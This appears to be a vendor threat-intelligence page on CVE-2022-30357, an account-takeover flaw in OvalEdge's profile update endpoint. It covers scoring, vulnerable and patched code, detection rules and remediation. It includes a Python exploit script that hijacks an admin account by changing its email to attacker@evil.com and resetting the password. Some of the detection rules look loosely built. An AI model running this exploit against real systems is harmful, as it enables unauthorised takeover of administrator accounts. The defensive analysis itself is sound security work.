CVE-2022-30357
Executive Summary
CVE-2022-30357 is an Account Takeover vulnerability affecting OvalEdge 5.2.8.0 and earlier. The flaw resides in the /profile/updateProfile endpoint, which allows an authenticated attacker to modify the userId and email parameters via a POST request. Due to insufficient authorization checks (CWE-639: Authorization Bypass Through User-Controlled Key), a low-privileged user can change the email address of another user (including an administrator), triggering a password reset or account takeover. The vendor has not released a patch, making this a high-risk, unpatched vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application (OvalEdge) used for data governance and cataloging. The risk is amplified by the lack of a vendor patch, forcing organizations to rely on compensating controls.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) → Re-calculated: 8.8 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. An attacker with a low-privileged account can take over any other account, including administrators, leading to full system compromise.
Deep Dive & Mechanics
The vulnerability is a classic Insecure Direct Object Reference (IDOR) combined with Mass Assignment. The /profile/updateProfile endpoint accepts a POST request with userId and email parameters. The application fails to verify that the authenticated user owns the userId being modified. By changing the email of a target user (e.g., an admin), the attacker can then trigger a "forgot password" flow, intercept the password reset link, and gain full control of the target account.
Attack Flow:
- Attacker authenticates as a low-privileged user (e.g.,
user1). - Attacker sends a POST request to
/profile/updateProfilewithuserId=2(admin) andemail=attacker@evil.com. - The application updates the admin's email without verifying ownership.
- Attacker uses the "Forgot Password" feature to reset the admin's password.
- Attacker logs in as admin with full privileges.
Vulnerable vs. Patched Code
Vulnerable Code (OvalEdge 5.2.8.0):
// No ownership check
@RequestMapping(value = "/profile/updateProfile", method = RequestMethod.POST)
public String updateProfile(@RequestParam("userId") int userId, @RequestParam("email") String email) {
User user = userRepository.findById(userId);
user.setEmail(email);
userRepository.save(user);
return "success";
}
Patched Code (Hypothetical):
@RequestMapping(value = "/profile/updateProfile", method = RequestMethod.POST)
public String updateProfile(@AuthenticationPrincipal User currentUser,
@RequestParam("userId") int userId,
@RequestParam("email") String email) {
// Verify ownership
if (currentUser.getId() != userId && !currentUser.isAdmin()) {
throw new AccessDeniedException("Not authorized");
}
User user = userRepository.findById(userId);
user.setEmail(email);
userRepository.save(user);
return "success";
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid low-privileged credentials (e.g.,
user1:password1). - Network access to the OvalEdge web interface.
Exploit Script (Python):
import requests
target = "https://ovaledge.example.com"
session = requests.Session()
# Step 1: Authenticate as low-privileged user
login_data = {"username": "user1", "password": "password1"}
session.post(f"{target}/login", data=login_data)
# Step 2: Change admin's email (assume admin userId=2)
update_data = {"userId": "2", "email": "attacker@evil.com"}
response = session.post(f"{target}/profile/updateProfile", data=update_data)
print(f"Email update response: {response.status_code}")
# Step 3: Trigger password reset for admin
reset_data = {"email": "attacker@evil.com"}
session.post(f"{target}/forgotPassword", data=reset_data)
# Step 4: Check attacker's email for reset link (simulated)
reset_link = "https://ovaledge.example.com/resetPassword?token=abc123"
session.get(reset_link)
# Step 5: Set new password
new_password = "P@ssw0rd!"
session.post(f"{target}/resetPassword", data={"token": "abc123", "password": new_password})
# Step 6: Login as admin
admin_session = requests.Session()
admin_session.post(f"{target}/login", data={"username": "admin", "password": new_password})
print("Admin account taken over!")
Blue Team
Detection & Response:
- Monitor
/profile/updateProfilerequests for anomaloususerIdvalues (e.g., a low-privileged user modifying an admin's email). - Alert on email changes followed by password reset requests within a short time window.
- Implement compensating controls:
- Web Application Firewall (WAF) rule to block requests where
userIddoes not match the session user. - API gateway validation to enforce ownership checks.
- Web Application Firewall (WAF) rule to block requests where
- Audit logs for
userIdandemailparameter changes.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/profile/updateProfilewithuserIdandemailparameters. - Multiple password reset requests for the same email.
- POST requests to
- Logs:
userIdchanges in user profile updates without corresponding session ownership.- Email address modifications followed by password resets.
- System:
- New admin accounts created after account takeover.
- Unusual login times or IP addresses for privileged accounts.
Detection Engineering
YARA Rule
rule CVE_2022_30357_OvalEdge_AccountTakeover {
meta:
description = "Detects OvalEdge account takeover attempts via profile update"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2022-30357"
strings:
$s1 = "/profile/updateProfile" ascii wide nocase
$s2 = "userId" ascii wide nocase
$s3 = "email" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: OvalEdge Account Takeover via Profile Update
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /profile/updateProfile with userId and email parameters
author: Valters IT
date: 2025/04/17
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/profile/updateProfile'
cs-uri-query|contains|all:
- 'userId'
- 'email'
condition: selection
falsepositives:
- Legitimate admin updates (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2022-30357 OvalEdge Account Takeover Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/profile/updateProfile";
http_uri;
content:"userId";
http_client_body;
content:"email";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate OvalEdge from untrusted networks (e.g., place behind VPN).
- Implement a reverse proxy (Nginx/Apache) to block requests to
/profile/updateProfileunless theuserIdmatches the authenticated session. - Enable multi-factor authentication (MFA) for all accounts to mitigate account takeover impact.
Long-term Fix:
- Since no vendor patch exists, consider custom code modification to add ownership checks in the
updateProfileendpoint. - Migrate to a supported alternative if possible.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Monitor for anomalous email changes and password resets.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.